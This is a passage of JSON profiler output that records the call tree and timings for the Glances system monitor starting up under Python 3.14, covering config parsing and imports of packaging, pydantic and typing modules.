{\"cRawDescriptionHelpFormatter\": 0.002107449996401556, \"l198\": 0.002107449996401556},\"children\": [{\"identifier\": \"can_colorize\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/_colorize.py\\u0000275\",\"time\": 0.002107,\"attributes\": {\"l296\": 0.002107449996401556},\"children\": [{\"identifier\": \"_safe_getenv\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/_colorize.py\\u0000277\",\"time\": 0.002107,\"attributes\": {\"l280\": 0.002107449996401556},\"children\": [{\"identifier\": \"get\\u0000<frozen _collections_abc>\\u0000792\",\"time\": 0.002107,\"attributes\": {\"c_Environ\": 0.002107449996401556, \"l797\": 0.002107449996401556},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002107,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/config.py\\u0000118\",\"time\": 0.003990,\"attributes\": {\"cConfig\": 0.003989552002167329, \"l132\": 0.003989552002167329},\"children\": [{\"identifier\": \"read\\u0000/home/nicolargo/dev/glances/glances/config.py\\u0000168\",\"time\": 0.003990,\"attributes\": {\"cConfig\": 0.003989552002167329, \"l175\": 0.003989552002167329},\"children\": [{\"identifier\": \"read_file\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/configparser.py\\u0000762\",\"time\": 0.003990,\"attributes\": {\"cConfigParser\": 0.003989552002167329, \"l775\": 0.003989552002167329},\"children\": [{\"identifier\": \"_read\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/configparser.py\\u00001051\",\"time\": 0.003990,\"attributes\": {\"cConfigParser\": 0.003989552002167329, \"l1069\": 0.003989552002167329},\"children\": [{\"identifier\": \"_read_inner\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/configparser.py\\u00001073\",\"time\": 0.003990,\"attributes\": {\"cConfigParser\": 0.003989552002167329, \"l1076\": 0.003989552002167329},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []},{\"identifier\": \"wrap\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/configparser.py\\u0000602\",\"time\": 0.001993,\"attributes\": {\"c_CommentSpec\": 0.001992621000681538, \"l603\": 0.001992621000681538},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/configparser.py\\u0000579\",\"time\": 0.001993,\"attributes\": {\"c_Line\": 0.001992621000681538, \"l581\": 0.001992621000681538},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001993,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/dev/glances/glances/__init__.py\\u0000125\",\"time\": 65.857195,\"attributes\": {\"l137\": 0.08689360399876023, \"l150\": 0.8791051840016735, \"l154\": 64.89119593299984},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.086894,\"attributes\": {\"l1371\": 0.08689360399876023},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.086894,\"attributes\": {\"l1342\": 0.08689360399876023},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.086894,\"attributes\": {\"l938\": 0.08689360399876023},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.086894,\"attributes\": {\"cSourceFileLoader\": 0.08689360399876023, \"l762\": 0.08689360399876023},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.086894,\"attributes\": {\"l491\": 0.08689360399876023},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/standalone.py\\u00001\",\"time\": 0.086894,\"attributes\": {\"l16\": 0.003997874999186024, \"l17\": 0.06889633300306741, \"l19\": 0.001998581996303983, \"l22\": 0.012000814000202809},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.086894,\"attributes\": {\"l1371\": 0.08689360399876023},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.086894,\"attributes\": {\"l1342\": 0.08689360399876023},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.086894,\"attributes\": {\"l938\": 0.08689360399876023},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.086894,\"attributes\": {\"cSourceFileLoader\": 0.08689360399876023, \"l762\": 0.08689360399876023},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.086894,\"attributes\": {\"l491\": 0.08689360399876023},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/outdated.py\\u00001\",\"time\": 0.003998,\"attributes\": {\"l23\": 0.003997874999186024},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.003998,\"attributes\": {\"l1371\": 0.003997874999186024},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.003998,\"attributes\": {\"l1342\": 0.003997874999186024},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.003998,\"attributes\": {\"l938\": 0.003997874999186024},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.003998,\"attributes\": {\"cSourceFileLoader\": 0.003997874999186024, \"l762\": 0.003997874999186024},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.003998,\"attributes\": {\"l491\": 0.003997874999186024},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/packaging/version.py\\u00001\",\"time\": 0.003998,\"attributes\": {\"l67\": 0.0020010469961562194, \"l310\": 0.0019968280030298047},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u0000396\",\"time\": 0.002001,\"attributes\": {\"l399\": 0.0020010469961562194},\"children\": [{\"identifier\": \"__getitem__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u00001652\",\"time\": 0.002001,\"attributes\": {\"c_TupleType\": 0.0020010469961562194, \"l1659\": 0.0020010469961562194},\"children\": [{\"identifier\": \"copy_with\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u00001562\",\"time\": 0.002001,\"attributes\": {\"c_TupleType\": 0.0020010469961562194, \"l1563\": 0.0020010469961562194},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u00001327\",\"time\": 0.002001,\"attributes\": {\"c_GenericAlias\": 0.0020010469961562194, \"l1334\": 0.0020010469961562194},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"Version\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/packaging/version.py\\u0000310\",\"time\": 0.001997,\"attributes\": {\"l337\": 0.0019968280030298047},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000287\",\"time\": 0.001997,\"attributes\": {\"l289\": 0.0019968280030298047},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000330\",\"time\": 0.001997,\"attributes\": {\"l350\": 0.0019968280030298047},\"children\": [{\"identifier\": \"compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_compiler.py\\u0000757\",\"time\": 0.001997,\"attributes\": {\"l762\": 0.0019968280030298047},\"children\": [{\"identifier\": \"parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000963\",\"time\": 0.001997,\"attributes\": {\"l973\": 0.0019968280030298047},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001997,\"attributes\": {\"l460\": 0.0019968280030298047},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001997,\"attributes\": {\"l856\": 0.0019968280030298047},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001997,\"attributes\": {\"l460\": 0.0019968280030298047},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001997,\"attributes\": {\"l856\": 0.0019968280030298047},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001997,\"attributes\": {\"l460\": 0.0019968280030298047},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001997,\"attributes\": {\"l856\": 0.0019968280030298047},\"children\": [{\"identifier\": \"_parse_sub\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000452\",\"time\": 0.001997,\"attributes\": {\"l460\": 0.0019968280030298047},\"children\": [{\"identifier\": \"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.001997,\"attributes\": {\"l689\": 0.0019968280030298047},\"children\": [{\"identifier\": \"__getitem__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000168\",\"time\": 0.001997,\"attributes\": {\"cSubPattern\": 0.0019968280030298047, \"l169\": 0.0019968280030298047},\"children\": [{\"identifier\": \"isinstance\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001\",\"time\": 0.068896,\"attributes\": {\"l15\": 0.06889633300306741},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.068896,\"attributes\": {\"l1371\": 0.06889633300306741},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.068896,\"attributes\": {\"l1342\": 0.06889633300306741},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.068896,\"attributes\": {\"l938\": 0.06889633300306741},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.068896,\"attributes\": {\"cSourceFileLoader\": 0.06889633300306741, \"l762\": 0.06889633300306741},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.068896,\"attributes\": {\"l491\": 0.06889633300306741},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/events_list.py\\u00001\",\"time\": 0.068896,\"attributes\": {\"l15\": 0.06689383699995233, \"l17\": 0.002002496003115084},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.068896,\"attributes\": {\"l1371\": 0.06689383699995233, \"l1368\": 0.002002496003115084},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.066894,\"attributes\": {\"l1342\": 0.06689383699995233},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.066894,\"attributes\": {\"l938\": 0.06689383699995233},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.066894,\"attributes\": {\"cSourceFileLoader\": 0.06689383699995233, \"l762\": 0.06689383699995233},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.066894,\"attributes\": {\"l491\": 0.06689383699995233},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/event.py\\u00001\",\"time\": 0.066894,\"attributes\": {\"l38\": 0.052900274997227825, \"l46\": 0.013993562002724502},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.052900,\"attributes\": {\"l1371\": 0.052900274997227825},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.052900,\"attributes\": {\"l1314\": 0.017902713996591046, \"l1342\": 0.03499756100063678},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.017903,\"attributes\": {\"l491\": 0.017902713996591046},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.017903,\"attributes\": {\"l1371\": 0.017902713996591046},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.017903,\"attributes\": {\"l1342\": 0.017902713996591046},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.017903,\"attributes\": {\"l938\": 0.017902713996591046},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.017903,\"attributes\": {\"cSourceFileLoader\": 0.017902713996591046, \"l758\": 0.0019814729967038147, \"l762\": 0.015921240999887232},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.001981,\"attributes\": {\"cSourceFileLoader\": 0.0019814729967038147, \"l854\": 0.0019814729967038147},\"children\": [{\"identifier\": \"get_data\\u0000<frozen importlib._bootstrap_external>\\u0000950\",\"time\": 0.001981,\"attributes\": {\"cSourceFileLoader\": 0.0019814729967038147, \"l953\": 0.0019814729967038147},\"children\": [{\"identifier\": \"open_code\\u0000<built-in>\\u00000\",\"time\": 0.001981,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001981,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.015921,\"attributes\": {\"l491\": 0.015921240999887232},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/__init__.py\\u00001\",\"time\": 0.015921,\"attributes\": {\"l5\": 0.01202993000333663, \"l422\": 0.003891310996550601},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.012030,\"attributes\": {\"l1371\": 0.01202993000333663},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.012030,\"attributes\": {\"l1342\": 0.01202993000333663},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.012030,\"attributes\": {\"l938\": 0.01202993000333663},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.012030,\"attributes\": {\"cSourceFileLoader\": 0.01202993000333663, \"l762\": 0.01202993000333663},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.012030,\"attributes\": {\"l491\": 0.01202993000333663},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_migration.py\\u00001\",\"time\": 0.012030,\"attributes\": {\"l4\": 0.01202993000333663},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.012030,\"attributes\": {\"l1371\": 0.01202993000333663},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.012030,\"attributes\": {\"l1342\": 0.01202993000333663},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.012030,\"attributes\": {\"l938\": 0.01202993000333663},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.012030,\"attributes\": {\"cSourceFileLoader\": 0.01202993000333663, \"l762\": 0.01202993000333663},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.012030,\"attributes\": {\"l491\": 0.01202993000333663},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/warnings.py\\u00001\",\"time\": 0.012030,\"attributes\": {\"l5\": 0.01202993000333663},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.012030,\"attributes\": {\"l1371\": 0.01202993000333663},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.012030,\"attributes\": {\"l1342\": 0.01202993000333663},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.012030,\"attributes\": {\"l938\": 0.01202993000333663},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.012030,\"attributes\": {\"cSourceFileLoader\": 0.01202993000333663, \"l762\": 0.01202993000333663},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.012030,\"attributes\": {\"l491\": 0.01202993000333663},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/version.py\\u00001\",\"time\": 0.012030,\"attributes\": {\"l7\": 0.01202993000333663},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.012030,\"attributes\": {\"l1371\": 0.01202993000333663},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.012030,\"attributes\": {\"l1342\": 0.01202993000333663},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.012030,\"attributes\": {\"l938\": 0.01202993000333663},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.012030,\"attributes\": {\"cSourceFileLoader\": 0.01202993000333663, \"l762\": 0.01202993000333663},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.012030,\"attributes\": {\"l491\": 0.01202993000333663},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic_core/__init__.py\\u00001\",\"time\": 0.012030,\"attributes\": {\"l8\": 0.0020027070058858953, \"l31\": 0.010027222997450735},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.012030,\"attributes\": {\"l1371\": 0.01202993000333663},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.012030,\"attributes\": {\"l1333\": 0.0020027070058858953, \"l1342\": 0.010027222997450735},\"children\": [{\"identifier\": \"_find_spec\\u0000<frozen importlib._bootstrap>\\u00001243\",\"time\": 0.002003,\"attributes\": {\"l1267\": 0.0020027070058858953},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001287\",\"time\": 0.002003,\"attributes\": {\"cPathFinder\": 0.0020027070058858953, \"l1295\": 0.0020027070058858953},\"children\": [{\"identifier\": \"_get_spec\\u0000<frozen importlib._bootstrap_external>\\u00001258\",\"time\": 0.002003,\"attributes\": {\"cPathFinder\": 0.0020027070058858953, \"l1267\": 0.0020027070058858953},\"children\": [{\"identifier\": \"_path_importer_cache\\u0000<frozen importlib._bootstrap_external>\\u00001236\",\"time\": 0.002003,\"attributes\": {\"cPathFinder\": 0.0020027070058858953, \"l1254\": 0.0020027070058858953},\"children\": [{\"identifier\": \"_path_hooks\\u0000<frozen importlib._bootstrap_external>\\u00001223\",\"time\": 0.002003,\"attributes\": {\"l1230\": 0.0020027070058858953},\"children\": [{\"identifier\": \"path_hook_for_FileFinder\\u0000<frozen importlib._bootstrap_external>\\u00001452\",\"time\": 0.002003,\"attributes\": {\"l1456\": 0.0020027070058858953},\"children\": [{\"identifier\": \"__init__\\u0000<frozen importlib._bootstrap_external>\\u00001334\",\"time\": 0.002003,\"attributes\": {\"cFileFinder\": 0.0020027070058858953, \"l1340\": 0.0020027070058858953},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.010027,\"attributes\": {\"l938\": 0.010027222997450735},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.010027,\"attributes\": {\"cSourceFileLoader\": 0.010027222997450735, \"l762\": 0.010027222997450735},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.010027,\"attributes\": {\"l491\": 0.010027222997450735},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic_core/core_schema.py\\u00001\",\"time\": 0.010027,\"attributes\": {\"l43\": 0.0019140579970553517, \"l935\": 0.0020001660013804212, \"l1938\": 0.0019965809988207184, \"l3177\": 0.0019998150019091554, \"l4397\": 0.0021166029982850887},\"children\": [{\"identifier\": \"__new__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u00003125\",\"time\": 0.007911,\"attributes\": {\"c_TypedDictMeta\": 0.007910619999165647, \"l3162\": 0.005910804997256491, \"l3138\": 0.0019998150019091554},\"children\": [{\"identifier\": \"_type_check\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u0000184\",\"time\": 0.005911,\"attributes\": {\"l202\": 0.005910804997256491},\"children\": [{\"identifier\": \"_type_convert\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u0000175\",\"time\": 0.003914,\"attributes\": {\"l180\": 0.003914223998435773},\"children\": [{\"identifier\": \"_make_forward_ref\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u0000952\",\"time\": 0.003914,\"attributes\": {\"l958\": 0.0019140579970553517, \"l960\": 0.0020001660013804212},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001914,\"attributes\": {},\"children\": []},{\"identifier\": \"__forward_code__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/annotationlib.py\\u0000239\",\"time\": 0.002000,\"attributes\": {\"cForwardRef\": 0.0020001660013804212, \"l252\": 0.0020001660013804212},\"children\": [{\"identifier\": \"compile\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]},{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u00003138\",\"time\": 0.002000,\"attributes\": {\"l3138\": 0.0019998150019091554},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__call__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/_py_warnings.py\\u0000736\",\"time\": 0.002117,\"attributes\": {\"cdeprecated\": 0.0021166029982850887, \"l794\": 0.0021166029982850887},\"children\": [{\"identifier\": \"update_wrapper\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/functools.py\\u000035\",\"time\": 0.002117,\"attributes\": {\"l56\": 0.0021166029982850887},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002117,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"getattr_migration\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_migration.py\\u0000251\",\"time\": 0.003891,\"attributes\": {\"l262\": 0.003891310996550601},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.003891,\"attributes\": {\"l1371\": 0.003891310996550601},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.003891,\"attributes\": {\"l1342\": 0.003891310996550601},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.003891,\"attributes\": {\"l938\": 0.003891310996550601},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.003891,\"attributes\": {\"cSourceFileLoader\": 0.003891310996550601, \"l762\": 0.003891310996550601},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.003891,\"attributes\": {\"l491\": 0.003891310996550601},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/errors.py\\u00001\",\"time\": 0.003891,\"attributes\": {\"l9\": 0.0018912379964604042, \"l101\": 0.0020000730000901967},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001891,\"attributes\": {\"l1371\": 0.0018912379964604042},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001891,\"attributes\": {\"l1342\": 0.0018912379964604042},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001891,\"attributes\": {\"l938\": 0.0018912379964604042},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001891,\"attributes\": {\"cSourceFileLoader\": 0.0018912379964604042, \"l762\": 0.0018912379964604042},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001891,\"attributes\": {\"l491\": 0.0018912379964604042},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/typing_inspection/introspection.py\\u00001\",\"time\": 0.001891,\"attributes\": {\"l14\": 0.0018912379964604042},\"children\": [{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.001891,\"attributes\": {\"l1426\": 0.0018912379964604042},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001891,\"attributes\": {\"l491\": 0.0018912379964604042},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001891,\"attributes\": {\"l1371\": 0.0018912379964604042},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001891,\"attributes\": {\"l1342\": 0.0018912379964604042},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen 